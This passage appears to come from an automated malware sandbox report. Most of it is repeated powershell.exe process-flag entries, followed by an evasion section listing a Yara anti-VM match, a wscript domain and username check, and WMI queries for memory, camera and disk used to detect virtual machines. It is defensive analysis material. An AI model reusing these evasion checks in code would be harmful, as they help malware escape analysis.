Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 3632, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1220, type: MEMORYSTR

Potential evasive JS / VBS script found (domain check)

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: UserDomain();IWshNetwork2.UserName();IHost.CreateObject("WScript.Network");IWshNetwork2.AddWindowsPrinterConnection("\\SRVHOMOLOGDC1\Brother", "Brother");IWshNetwork2.AddWindowsPrinterConnection("\\SR

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

